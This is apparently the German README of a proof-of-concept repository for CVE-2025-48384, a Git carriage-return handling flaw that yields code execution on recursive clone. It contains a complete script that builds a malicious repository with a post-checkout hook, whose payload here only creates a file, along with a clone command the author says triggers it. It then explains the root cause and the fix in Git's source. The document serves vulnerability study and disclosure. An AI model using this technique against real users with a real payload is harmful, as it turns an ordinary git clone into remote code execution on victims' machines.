ik-20211125/cve-2025-48384CVE-2025-48384 PoC
Dieses Repository wurde zu Bildungszwecken im Bereich Sicherheit erstellt.
Bitte missbrauchen Sie es nicht.
Da diese Schwachstelle erfordert, dass der Verzeichnisname \r enthält,
sind Linux/Unix-Systeme betroffen.
Die folgenden Git-Versionen sind betroffen:
Auch beim Klonen dieses Repositorys mit dem folgenden Befehl ist RCE möglich.
※ Seien Sie bei der Ausführung äußerst vorsichtig.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
Die Befehle im post-checkout des folgenden Submodul-Repositorys werden ausgeführt:
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
Erstellt unter Bezugnahme auf diesen Link.
Es wurden zwei Änderungen vorgenommen:
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
Zunächst zum Punkt, warum RCE realisiert wird:
Diese Schwachstelle nutzt die Standardfunktion von Git, die Hooks.
Einfach erklärt: Hooks sind Funktionen, die es ermöglichen, bei bestimmten Ereignissen (wie Commits) vorab festgelegte Skripte auszuführen.
Diese Schwachstelle verwendet die Datei post-checkout in .git, die beim Auschecken ausgeführt wird.
Da diese Datei jedoch grundsätzlich nur lokal gehandhabt werden kann, kann ein Angreifer beim bloßen Klonen eines GitHub-Repositorys nicht eingreifen.
Dieser Punkt wird durch die Ausnutzung der Verarbeitung von \r in Git umgangen, und durch das Platzieren einer beliebigen post-checkout-Datei in ./.git/modules/sub/hooks/ auf dem lokalen System wird RCE realisiert.
Die Verarbeitung von \r in Git wird genutzt.
Ich erkläre es kurz anhand der Git-Verarbeitung.
Zunächst wird mit git clone --recursive {url} das Remote-Repository von GitHub lokal geklont.
(Durch Hinzufügen von --recursive werden auch Submodule gleichzeitig geklont.)
Dabei wird das Submodul der url in das durch den Parameter path in .gitmodules angegebene Verzeichnis entpackt.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
Der Verzeichnisname des path-Parameters wird wie folgt manipuliert:
path = "sub\r"
Außerdem wird der Name des Submodulverzeichnisses im Repository ebenfalls auf sub\r gesetzt.
Wenn git clone --recursive auf diese Weise ausgeführt wird, versucht Git, das Submodul aus der url in das Verzeichnis sub\r gemäß dem path in .gitmodules zu entpacken.
(Wenn das Verzeichnis im path in .gitmodules nicht existiert, wird das Submodul nicht entpackt.)
Allerdings bezieht sich Git für das endgültige Ziel des Submoduls nicht auf den Wert von path in .gitmodules.
Stattdessen wird der Parameter worktree in .git/modules/sub/config referenziert.
Dieser Parameter wird basierend auf dem Wert von path in .gitmodules geschrieben.
Dieses Schreiben ist entscheidend.
Wenn path = "sub\r" in den Parameter worktree in .git/modules/sub/config geschrieben wird, ergibt sich folgende Form:
[core]
workdir = ../../../sub\r
Wichtig ist, dass es nicht in doppelte Anführungszeichen gesetzt wird.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
Es wird nur dann in doppelte Anführungszeichen gesetzt, wenn an bestimmten Positionen Leerzeichen enthalten sind,
oder wenn an beliebiger Stelle ; oder # enthalten ist,
aber bei \r wird es nicht in doppelte Anführungszeichen gesetzt.
Wenn keine doppelten Anführungszeichen vorhanden sind, wertet Git das abschließende \r nicht aus.
Daher wird das Ziel des Submoduls zu ../../../sub.
Da der Name des Submoduls sub\r ist, ist es möglich, eine Datei mit dem Namen sub in beliebiger Form zu erstellen (der Name kollidiert nicht).
Hier wird ein symbolischer Link platziert, der das Ziel des Submoduls auf ./.git/modules/sub/hooks/ ändert:
sub -> .git/modules/sub/hooks
Die post-checkout-Datei, die als Angreifer-Skript im Submodul platziert wurde,
kann so im lokalen ./.git/modules/sub/hooks/ des Opfers abgelegt werden und wird beim Auschecken ausgeführt.
Der Angriff ist möglich, weil die Verarbeitung von \r in Git unterschiedlich ist.
.gitmodules zugreift, ist der Wert in doppelten Anführungszeichen, daher wird \r ausgewertet..git/modules/sub/config zugreift, fehlen die doppelten Anführungszeichen, daher wird \r nicht ausgewertet.In der behobenen Git-Version wurde es wie folgt geändert:
(Wenn \r enthalten ist, wird es nun in doppelte Anführungszeichen gesetzt.)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
Eine ähnliche Schwachstelle ist CVE-2024-32002.
Diese Schwachstelle betrifft Dateisysteme, die nicht zwischen Groß- und Kleinschreibung unterscheiden (Windows, macOS usw.), und erlaubt ähnlich wie CVE-2025-48384 das Eingreifen eines Angreifers in Git-Hooks durch symbolische Links.
Der folgende Artikel ist hilfreich:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ Falls es Interpretationsfehler im Inhalt gibt, freue ich mich über Ihren Hinweis.